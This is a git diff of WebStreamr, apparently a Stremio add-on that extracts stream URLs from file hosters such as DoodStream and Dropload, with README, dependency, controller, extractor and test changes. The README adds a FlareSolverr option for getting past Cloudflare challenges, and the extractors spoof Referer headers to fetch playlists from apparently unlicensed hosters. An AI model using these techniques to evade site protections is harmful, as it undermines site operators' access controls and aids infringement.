- RgShows detects shared usage and blocks IPs. It therefore only works on private instances.
|
||||||
|
|
||||||
## MediaFlow Proxy
|
## MediaFlow Proxy
|
||||||
|
|
||||||
[MediaFlow Proxy](https://github.com/mhdzumair/mediaflow-proxy/) can be added when configuration the add-on to gain access to a couple of more file hosters.
|
[MediaFlow Proxy](https://github.com/mhdzumair/mediaflow-proxy/) can be added when configuration the add-on to gain access to a couple of more file hosters.
|
||||||
|
|
@ -51,6 +64,7 @@ You can run the latest WebStreamr via Docker. E.g.
|
||||||
--pull always \
|
--pull always \
|
||||||
--publish 51546:51546 \
|
--publish 51546:51546 \
|
||||||
--env TMDB_ACCESS_TOKEN="YOUR_TOKEN" \
|
--env TMDB_ACCESS_TOKEN="YOUR_TOKEN" \
|
||||||
|
--volume /tmp:/tmp \
|
||||||
webstreamr/webstreamr
|
webstreamr/webstreamr
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
@ -72,6 +86,11 @@ Optional. Comma separated list of extractors which should be disabled. E.g. `doo
|
||||||
|
|
||||||
Optional. Comma separated list of sources which should be disabled. E.g. `frembed,vidsrc`
|
Optional. Comma separated list of sources which should be disabled. E.g. `frembed,vidsrc`
|
||||||
|
|
||||||
|
#### `FLARESOLVERR_ENDPOINT`
|
||||||
|
|
||||||
|
Optional. If domains show Cloudflare challenges, FlareSolverr can be used to work around them. E.g. `http://flaresolverr:8191`
|
||||||
|
Proxy configuration is passed-through and only a single session is used to save resources. Byparr is not supported.
|
||||||
|
|
||||||
#### `MANIFEST_ID`
|
#### `MANIFEST_ID`
|
||||||
|
|
||||||
Optional. Add-on manifest ID. Default: `webstreamr`
|
Optional. Add-on manifest ID. Default: `webstreamr`
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,6 @@
|
||||||
process.env['CACHE_DIR'] = '/dev/null';
|
process.env['CACHE_DIR'] = '/dev/null';
|
||||||
|
process.env['HOST'] = 'example.test';
|
||||||
|
process.env['PROTOCOL'] = 'https';
|
||||||
|
|
||||||
if (!process.env['TMDB_ACCESS_TOKEN']) {
|
if (!process.env['TMDB_ACCESS_TOKEN']) {
|
||||||
process.env['TMDB_ACCESS_TOKEN'] = 'some access token';
|
process.env['TMDB_ACCESS_TOKEN'] = 'some access token';
|
||||||
|
|
|
||||||
3635
package-lock.json
generated
3635
package-lock.json
generated
File diff suppressed because it is too large
Load diff
21
package.json
21
package.json
|
|
@ -1,7 +1,7 @@
|
||||||
{
|
{
|
||||||
"name": "webstreamr",
|
"name": "webstreamr",
|
||||||
"description": "Provides HTTP URLs from streaming websites.",
|
"description": "Provides HTTP URLs from streaming websites.",
|
||||||
"version": "0.56.8",
|
"version": "0.69.1",
|
||||||
"type": "commonjs",
|
"type": "commonjs",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"analyse": "tsc --noEmit --project ./tsconfig.dev.json",
|
"analyse": "tsc --noEmit --project ./tsconfig.dev.json",
|
||||||
|
|
@ -43,32 +43,39 @@
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@keyv/sqlite": "^4.0.5",
|
"@keyv/sqlite": "^4.0.5",
|
||||||
"async-mutex": "^0.5.0",
|
"async-mutex": "^0.5.0",
|
||||||
|
"axios": "^1.13.2",
|
||||||
|
"axios-cache-interceptor": "^1.8.3",
|
||||||
|
"axios-mock-adapter": "^2.1.0",
|
||||||
|
"axios-retry": "^4.5.0",
|
||||||
"bytes": "^3.1.2",
|
"bytes": "^3.1.2",
|
||||||
"cacheable": "^2.0.0",
|
"cacheable": "^2.0.0",
|
||||||
"cheerio": "^1.0.0",
|
"cheerio": "^1.0.0",
|
||||||
"express": "^5.1.0",
|
"express": "^5.1.0",
|
||||||
|
"express-rate-limit": "^8.2.1",
|
||||||
"fast-levenshtein": "^3.0.0",
|
"fast-levenshtein": "^3.0.0",
|
||||||
"fetch-socks": "^1.3.2",
|
"glob": "^13.0.0",
|
||||||
"http-cache-semantics": "^4.2.0",
|
"http-proxy-agent": "^7.0.2",
|
||||||
|
"https-proxy-agent": "^7.0.6",
|
||||||
|
"memoizee": "^0.4.17",
|
||||||
"minimatch": "^10.0.3",
|
"minimatch": "^10.0.3",
|
||||||
"randomstring": "^1.3.1",
|
"randomstring": "^1.3.1",
|
||||||
"rot13-cipher": "^1.0.0",
|
"rot13-cipher": "^1.0.0",
|
||||||
"slugify": "^1.6.6",
|
"slugify": "^1.6.6",
|
||||||
|
"socks-proxy-agent": "^8.0.5",
|
||||||
|
"sqlite3": "^5.1.7",
|
||||||
"tough-cookie": "^6.0.0",
|
"tough-cookie": "^6.0.0",
|
||||||
"undici": "^7.10.0",
|
|
||||||
"unpacker": "^1.0.1",
|
"unpacker": "^1.0.1",
|
||||||
"winston": "^3.17.0"
|
"winston": "^3.17.0"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@eslint/js": "^9.26.0",
|
"@eslint/js": "^9.26.0",
|
||||||
"@stylistic/eslint-plugin": "^5.0.0",
|
"@stylistic/eslint-plugin": "^5.0.0",
|
||||||
"@tsconfig/node22": "^22.0.2",
|
"@tsconfig/node24": "^24.0.0",
|
||||||
"@types/bytes": "^3.1.5",
|
"@types/bytes": "^3.1.5",
|
||||||
"@types/express": "^5.0.1",
|
"@types/express": "^5.0.1",
|
||||||
"@types/fast-levenshtein": "^0.0.4",
|
"@types/fast-levenshtein": "^0.0.4",
|
||||||
"@types/http-cache-semantics": "^4.0.4",
|
|
||||||
"@types/jest": "^30.0.0",
|
"@types/jest": "^30.0.0",
|
||||||
"@types/make-fetch-happen": "^10.0.4",
|
"@types/memoizee": "^0.4.12",
|
||||||
"@types/node": "^24.0.0",
|
"@types/node": "^24.0.0",
|
||||||
"@types/randomstring": "^1.3.0",
|
"@types/randomstring": "^1.3.0",
|
||||||
"@types/stremio-addon-sdk": "^1.6.11",
|
"@types/stremio-addon-sdk": "^1.6.11",
|
||||||
|
|
|
||||||
|
|
@ -22,7 +22,7 @@ export class ConfigureController {
|
||||||
}
|
}
|
||||||
|
|
||||||
private getConfigure(req: Request, res: Response) {
|
private getConfigure(req: Request, res: Response) {
|
||||||
const config: Config = JSON.parse(req.params['config'] || JSON.stringify(getDefaultConfig()));
|
const config: Config = JSON.parse(req.params['config'] as string || JSON.stringify(getDefaultConfig()));
|
||||||
|
|
||||||
// Convenience preset for ElfHosted WebStreamr bundle including Media Flow Proxy
|
// Convenience preset for ElfHosted WebStreamr bundle including Media Flow Proxy
|
||||||
if (!req.params['config'] && isElfHostedInstance(req)) {
|
if (!req.params['config'] && isElfHostedInstance(req)) {
|
||||||
|
|
|
||||||
53
src/controller/ExtractController.ts
Normal file
53
src/controller/ExtractController.ts
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
import { Mutex } from 'async-mutex';
|
||||||
|
import { Request, Response, Router } from 'express';
|
||||||
|
import winston from 'winston';
|
||||||
|
import { ExtractorRegistry } from '../extractor';
|
||||||
|
import { contextFromRequestAndResponse, Fetcher } from '../utils';
|
||||||
|
|
||||||
|
export class ExtractController {
|
||||||
|
public readonly router: Router;
|
||||||
|
|
||||||
|
private readonly logger: winston.Logger;
|
||||||
|
private readonly extractorRegistry: ExtractorRegistry;
|
||||||
|
|
||||||
|
private readonly locks = new Map<string, Mutex>();
|
||||||
|
|
||||||
|
public constructor(logger: winston.Logger, _fetcher: Fetcher, extractorRegistry: ExtractorRegistry) {
|
||||||
|
this.router = Router();
|
||||||
|
|
||||||
|
this.logger = logger;
|
||||||
|
this.extractorRegistry = extractorRegistry;
|
||||||
|
|
||||||
|
this.router.get('/extract', this.extract.bind(this));
|
||||||
|
}
|
||||||
|
|
||||||
|
private async extract(req: Request, res: Response) {
|
||||||
|
if (req.method !== 'GET') {
|
||||||
|
res.status(405).send('Method Not Allowed');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const ctx = contextFromRequestAndResponse(req, res);
|
||||||
|
|
||||||
|
const index = parseInt(req.query['index'] as string);
|
||||||
|
const url = new URL(req.query['url'] as string);
|
||||||
|
|
||||||
|
this.logger.info(`Lazy extract index ${index} of URL ${url} for ip ${ctx.ip}`, ctx);
|
||||||
|
|
||||||
|
let mutex = this.locks.get(url.href);
|
||||||
|
if (!mutex) {
|
||||||
|
mutex = new Mutex();
|
||||||
|
this.locks.set(url.href, mutex);
|
||||||
|
}
|
||||||
|
|
||||||
|
await mutex.runExclusive(async () => {
|
||||||
|
const urlResults = await this.extractorRegistry.handle(ctx, url);
|
||||||
|
|
||||||
|
res.redirect(urlResults[index]?.url.href as string);
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!mutex.isLocked()) {
|
||||||
|
this.locks.delete(url.href);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
@ -21,7 +21,7 @@ export class ManifestController {
|
||||||
}
|
}
|
||||||
|
|
||||||
private getManifest(req: Request, res: Response) {
|
private getManifest(req: Request, res: Response) {
|
||||||
const config: Config = JSON.parse(req.params['config'] || JSON.stringify(getDefaultConfig()));
|
const config: Config = JSON.parse(req.params['config'] as string || JSON.stringify(getDefaultConfig()));
|
||||||
|
|
||||||
const manifest = buildManifest(this.sources, this.extractors, config);
|
const manifest = buildManifest(this.sources, this.extractors, config);
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -27,7 +27,7 @@ export class StreamController {
|
||||||
|
|
||||||
private async getStream(req: Request, res: Response) {
|
private async getStream(req: Request, res: Response) {
|
||||||
const type: ContentType = (req.params['type'] || '') as ContentType;
|
const type: ContentType = (req.params['type'] || '') as ContentType;
|
||||||
const rawId: string = req.params['id'] || '';
|
const rawId: string = req.params['id'] as string || '';
|
||||||
|
|
||||||
let id: Id;
|
let id: Id;
|
||||||
if (rawId.startsWith('tmdb:')) {
|
if (rawId.startsWith('tmdb:')) {
|
||||||
|
|
@ -35,7 +35,9 @@ export class StreamController {
|
||||||
} else if (rawId.startsWith('tt')) {
|
} else if (rawId.startsWith('tt')) {
|
||||||
id = ImdbId.fromString(rawId);
|
id = ImdbId.fromString(rawId);
|
||||||
} else {
|
} else {
|
||||||
throw new Error(`Unsupported ID: ${rawId}`);
|
res.status(400).send(`Unsupported ID: ${rawId}`);
|
||||||
|
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const ctx = contextFromRequestAndResponse(req, res);
|
const ctx = contextFromRequestAndResponse(req, res);
|
||||||
|
|
@ -54,7 +56,7 @@ export class StreamController {
|
||||||
const { streams, ttl } = await this.streamResolver.resolve(ctx, sources, type, id);
|
const { streams, ttl } = await this.streamResolver.resolve(ctx, sources, type, id);
|
||||||
|
|
||||||
if (ttl && envIsProd()) {
|
if (ttl && envIsProd()) {
|
||||||
res.setHeader('Cache-Control', `max-age=${Math.floor(ttl / 1000)}, public`);
|
res.setHeader('Cache-Control', `public, max-age=${Math.floor(ttl / 1000)}, immutable`);
|
||||||
}
|
}
|
||||||
|
|
||||||
res.setHeader('Content-Type', 'application/json');
|
res.setHeader('Content-Type', 'application/json');
|
||||||
|
|
|
||||||
|
|
@ -1,3 +1,4 @@
|
||||||
|
export * from './ExtractController';
|
||||||
export * from './ConfigureController';
|
export * from './ConfigureController';
|
||||||
export * from './ManifestController';
|
export * from './ManifestController';
|
||||||
export * from './StreamController';
|
export * from './StreamController';
|
||||||
|
|
|
||||||
|
|
@ -1,11 +1,12 @@
|
||||||
|
import { AxiosResponse } from 'axios';
|
||||||
import { BlockedReason } from '../types';
|
import { BlockedReason } from '../types';
|
||||||
|
|
||||||
export class BlockedError extends Error {
|
export class BlockedError extends Error {
|
||||||
public readonly url: URL;
|
public readonly url: URL;
|
||||||
public readonly reason: BlockedReason;
|
public readonly reason: BlockedReason;
|
||||||
public readonly headers: Record<string, string[] | string | undefined>;
|
public readonly headers: AxiosResponse['headers'];
|
||||||
|
|
||||||
public constructor(url: URL, reason: BlockedReason, headers: Record<string, string[] | string | undefined>) {
|
public constructor(url: URL, reason: BlockedReason, headers: AxiosResponse['headers']) {
|
||||||
super();
|
super();
|
||||||
|
|
||||||
this.url = url;
|
this.url = url;
|
||||||
|
|
|
||||||
|
|
@ -1,10 +1,12 @@
|
||||||
|
import { AxiosResponse } from 'axios';
|
||||||
|
|
||||||
export class HttpError extends Error {
|
export class HttpError extends Error {
|
||||||
public readonly url: URL;
|
public readonly url: URL;
|
||||||
public readonly status: number;
|
public readonly status: number;
|
||||||
public readonly statusText: string;
|
public readonly statusText: string;
|
||||||
public readonly headers: Record<string, string[] | string | undefined>;
|
public readonly headers: AxiosResponse['headers'];
|
||||||
|
|
||||||
public constructor(url: URL, status: number, statusText: string, headers: Record<string, string[] | string | undefined>) {
|
public constructor(url: URL, status: number, statusText: string, headers: AxiosResponse['headers']) {
|
||||||
super();
|
super();
|
||||||
|
|
||||||
this.url = url;
|
this.url = url;
|
||||||
|
|
|
||||||
|
|
@ -7,22 +7,18 @@ import { ExtractorRegistry } from './ExtractorRegistry';
|
||||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||||
const extractorRegistry = new ExtractorRegistry(logger, [new DoodStream(new FetcherMock(`${__dirname}/__fixtures__/DoodStream`))]);
|
const extractorRegistry = new ExtractorRegistry(logger, [new DoodStream(new FetcherMock(`${__dirname}/__fixtures__/DoodStream`))]);
|
||||||
|
|
||||||
const ctx = createTestContext();
|
const ctx = createTestContext({ mediaFlowProxyUrl: 'https://mediaflow.test.org', mediaFlowProxyPassword: 'test' });
|
||||||
|
|
||||||
describe('DoodStream', () => {
|
describe('DoodStream', () => {
|
||||||
test('dood.to', async () => {
|
test('dood.to', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('http://dood.to/e/sk1m9eumzyjj'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('http://dood.to/e/sk1m9eumzyjj'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('missing pass_md5 -> not found', async () => {
|
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://dood.to/e/gy8l8mb2i311'))).toMatchSnapshot();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('can guess height from title', async () => {
|
test('can guess height from title', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://do7go.com/e/dfx8me4un4ul'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://do7go.com/e/dfx8me4un4ul'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('cloudflare storage', async () => {
|
test('not found', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://doodstream.com/e/wfpwtsgyr1xi'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://myvidplay.com/e/cz7cus0bvlzr'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,8 +1,8 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import randomstring from 'randomstring';
|
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
|
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class DoodStream extends Extractor {
|
export class DoodStream extends Extractor {
|
||||||
|
|
@ -12,59 +12,43 @@ export class DoodStream extends Extractor {
|
||||||
|
|
||||||
public override readonly ttl: number = 21600000; // 6h
|
public override readonly ttl: number = 21600000; // 6h
|
||||||
|
|
||||||
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
/** @see https://github.com/Gujal00/ResolveURL/blob/master/script.module.resolveurl/lib/resolveurl/plugins/doodstream.py */
|
/** @see https://github.com/Gujal00/ResolveURL/blob/master/script.module.resolveurl/lib/resolveurl/plugins/doodstream.py */
|
||||||
public supports(_ctx: Context, url: URL): boolean {
|
public supports(ctx: Context, url: URL): boolean {
|
||||||
return null !== url.host.match(/dood|do[0-9]go|doood|dooood|ds2play|ds2video|dsvplay|d0o0d|do0od|d0000d|d000d|vidply|all3do|doply|vide0|vvide0|d-s/);
|
return null !== url.host.match(/dood|do[0-9]go|doood|dooood|ds2play|ds2video|dsvplay|d0o0d|do0od|d0000d|d000d|myvidplay|vidply|all3do|doply|vide0|vvide0|d-s/) && supportsMediaFlowProxy(ctx);
|
||||||
};
|
};
|
||||||
|
|
||||||
public override normalize(url: URL): URL {
|
public override normalize(url: URL): URL {
|
||||||
const videoId = url.pathname.split('/').at(-1) as string;
|
const videoId = url.pathname.replace(/\/+$/, '').split('/').at(-1) as string;
|
||||||
|
|
||||||
return new URL(`http://dood.to/e/${videoId}`);
|
return new URL(`http://dood.to/e/${videoId}`);
|
||||||
};
|
};
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
||||||
const passMd5Match = html.match(/\/pass_md5\/[\w-]+\/([\w-]+)/);
|
if (/Video not found/.test(html)) {
|
||||||
if (!passMd5Match) {
|
|
||||||
throw new NotFoundError();
|
throw new NotFoundError();
|
||||||
}
|
}
|
||||||
|
|
||||||
const token = passMd5Match[1] as string;
|
|
||||||
|
|
||||||
const baseUrl = await this.fetcher.text(ctx, new URL(passMd5Match[0], url.origin), { headers: { Referer: url.href } });
|
|
||||||
|
|
||||||
const $ = cheerio.load(html);
|
const $ = cheerio.load(html);
|
||||||
const title = $('title').text().trim().replace(/ - DoodStream$/, '').trim();
|
const title = $('title').text().trim().replace(/ - DoodStream$/, '').trim();
|
||||||
|
|
||||||
const downloadHtml = await this.fetcher.text(ctx, new URL(url.href.replace('/e/', '/d/')));
|
const downloadHtml = await this.fetcher.text(ctx, new URL(url.href.replace('/e/', '/d/')));
|
||||||
const sizeMatch = downloadHtml.match(/([\d.]+ ?[GM]B)/);
|
const sizeMatch = downloadHtml.match(/([\d.]+ ?[GM]B)/);
|
||||||
|
|
||||||
let mp4Url: URL;
|
|
||||||
if (baseUrl.includes('cloudflarestorage')) {
|
|
||||||
mp4Url = new URL(baseUrl);
|
|
||||||
} else {
|
|
||||||
mp4Url = new URL(`${baseUrl}${randomstring.generate(10)}?token=${token}&expiry=${Date.now()}`);
|
|
||||||
}
|
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
url: mp4Url,
|
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Doodstream', url, headers),
|
||||||
format: Format.mp4,
|
format: Format.mp4,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
...(sizeMatch && { bytes: bytes.parse(sizeMatch[1] as string) as number }),
|
...(sizeMatch && { bytes: bytes.parse(sizeMatch[1] as string) as number }),
|
||||||
},
|
},
|
||||||
requestHeaders: {
|
|
||||||
Referer: url.origin,
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
|
@ -13,12 +13,12 @@ export class Dropload extends Extractor {
|
||||||
public override readonly ttl: number = 10800000; // 3h
|
public override readonly ttl: number = 10800000; // 3h
|
||||||
|
|
||||||
public supports(_ctx: Context, url: URL): boolean {
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
return null !== url.host.match(/dropload/);
|
return null !== url.host.match(/dropload|dr0pstream/);
|
||||||
}
|
}
|
||||||
|
|
||||||
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/d/', '/').replace('/e/', '/').replace('/embed-', '/'));
|
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/d/', '/').replace('/e/', '/').replace('/embed-', '/'));
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -28,11 +28,12 @@ export class Dropload extends Extractor {
|
||||||
}
|
}
|
||||||
|
|
||||||
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
||||||
|
const playlistHeaders = { Referer: 'https://dr0pstream.com/' };
|
||||||
|
|
||||||
const heightMatch = html.match(/\d{3,}x(\d{3,}),/);
|
const heightMatch = html.match(/\d{3,}x(\d{3,}),/);
|
||||||
const height = heightMatch
|
const height = heightMatch
|
||||||
? parseInt(heightMatch[1] as string)
|
? parseInt(heightMatch[1] as string)
|
||||||
: await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, url);
|
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers: playlistHeaders });
|
||||||
|
|
||||||
const sizeMatch = html.match(/([\d.]+ ?[GM]B)/);
|
const sizeMatch = html.match(/([\d.]+ ?[GM]B)/);
|
||||||
const size = sizeMatch ? bytes.parse(sizeMatch[1] as string) as number : undefined;
|
const size = sizeMatch ? bytes.parse(sizeMatch[1] as string) as number : undefined;
|
||||||
|
|
@ -44,15 +45,13 @@ export class Dropload extends Extractor {
|
||||||
{
|
{
|
||||||
url: playlistUrl,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
...(size && { bytes: size }),
|
...(size && { bytes: size }),
|
||||||
...(height && { height }),
|
...(height && { height }),
|
||||||
},
|
},
|
||||||
|
requestHeaders: playlistHeaders,
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { showExternalUrls } from '../utils';
|
import { showExternalUrls } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
|
@ -13,15 +13,13 @@ export class ExternalUrl extends Extractor {
|
||||||
return showExternalUrls(ctx.config) && null !== url.host.match(/.*/);
|
return showExternalUrls(ctx.config) && null !== url.host.match(/.*/);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(_ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(_ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
url: url,
|
url: url,
|
||||||
format: Format.unknown,
|
format: Format.unknown,
|
||||||
isExternal: true,
|
isExternal: true,
|
||||||
label: `${url.host}`,
|
label: `${url.host}`,
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta,
|
meta,
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta, UrlResult } from '../types';
|
||||||
import { Fetcher } from '../utils';
|
import { Fetcher } from '../utils';
|
||||||
|
|
||||||
export abstract class Extractor {
|
export abstract class Extractor {
|
||||||
|
|
@ -9,6 +9,8 @@ export abstract class Extractor {
|
||||||
|
|
||||||
public readonly ttl: number = 900000; // 15m
|
public readonly ttl: number = 900000; // 15m
|
||||||
|
|
||||||
|
public readonly cacheVersion: number | undefined = undefined;
|
||||||
|
|
||||||
public readonly viaMediaFlowProxy: boolean = false;
|
public readonly viaMediaFlowProxy: boolean = false;
|
||||||
|
|
||||||
protected readonly fetcher: Fetcher;
|
protected readonly fetcher: Fetcher;
|
||||||
|
|
@ -23,11 +25,18 @@ export abstract class Extractor {
|
||||||
return url;
|
return url;
|
||||||
};
|
};
|
||||||
|
|
||||||
protected abstract extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]>;
|
protected abstract extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]>;
|
||||||
|
|
||||||
public async extract(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
public async extract(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||||
try {
|
try {
|
||||||
return await this.extractInternal(ctx, url, meta);
|
return (await this.extractInternal(ctx, url, meta)).map(
|
||||||
|
urlResult => ({
|
||||||
|
...urlResult,
|
||||||
|
label: this.formatLabel(urlResult.label ?? this.label),
|
||||||
|
ttl: this.ttl,
|
||||||
|
|
||||||
|
}),
|
||||||
|
);
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
if (error instanceof NotFoundError) {
|
if (error instanceof NotFoundError) {
|
||||||
return [];
|
return [];
|
||||||
|
|
@ -39,11 +48,15 @@ export abstract class Extractor {
|
||||||
format: Format.unknown,
|
format: Format.unknown,
|
||||||
isExternal: true,
|
isExternal: true,
|
||||||
error,
|
error,
|
||||||
label: this.label,
|
label: this.formatLabel(this.label),
|
||||||
sourceId: `${this.id}`,
|
ttl: 0,
|
||||||
meta,
|
meta,
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
private formatLabel(label: string): string {
|
||||||
|
return this.viaMediaFlowProxy ? `${label} (MFP)` : label;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -49,6 +49,11 @@ describe('ExtractorRegistry', () => {
|
||||||
expect(urlResults).toMatchSnapshot();
|
expect(urlResults).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('empty results are cached', async () => {
|
||||||
|
const urlResults = await extractorRegistry.handle(ctx, new URL('https://dropload.io/asdfghijklmn.html'), { title: 'title' });
|
||||||
|
expect(urlResults).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
test('stats returns something', async () => {
|
test('stats returns something', async () => {
|
||||||
const stats = extractorRegistry.stats();
|
const stats = extractorRegistry.stats();
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,23 +1,31 @@
|
||||||
// eslint-disable-next-line import/no-named-as-default
|
|
||||||
import KeyvSqlite from '@keyv/sqlite';
|
|
||||||
import { Cacheable, CacheableMemory, Keyv } from 'cacheable';
|
import { Cacheable, CacheableMemory, Keyv } from 'cacheable';
|
||||||
import winston from 'winston';
|
import winston from 'winston';
|
||||||
import { Context, Meta, UrlResult } from '../types';
|
import { Context, Format, Meta, UrlResult } from '../types';
|
||||||
import { getCacheDir, isExtractorDisabled } from '../utils';
|
import { createKeyvSqlite, envGet, isExtractorDisabled } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class ExtractorRegistry {
|
export class ExtractorRegistry {
|
||||||
private readonly logger: winston.Logger;
|
private readonly logger: winston.Logger;
|
||||||
private readonly extractors: Extractor[];
|
private readonly extractors: Extractor[];
|
||||||
|
|
||||||
private readonly urlResultCache: Cacheable;
|
private readonly urlResultCache: Cacheable;
|
||||||
|
private readonly lazyUrlResultCache: Cacheable;
|
||||||
|
|
||||||
public constructor(logger: winston.Logger, extractors: Extractor[]) {
|
public constructor(logger: winston.Logger, extractors: Extractor[]) {
|
||||||
this.logger = logger;
|
this.logger = logger;
|
||||||
this.extractors = extractors;
|
this.extractors = extractors;
|
||||||
|
|
||||||
this.urlResultCache = new Cacheable({
|
this.urlResultCache = new Cacheable({
|
||||||
|
nonBlocking: true,
|
||||||
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
|
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
|
||||||
secondary: new Keyv(new KeyvSqlite(`sqlite://${getCacheDir()}/webstreamr-extractor-cache.sqlite`)),
|
secondary: createKeyvSqlite('extractor-cache'),
|
||||||
|
stats: true,
|
||||||
|
});
|
||||||
|
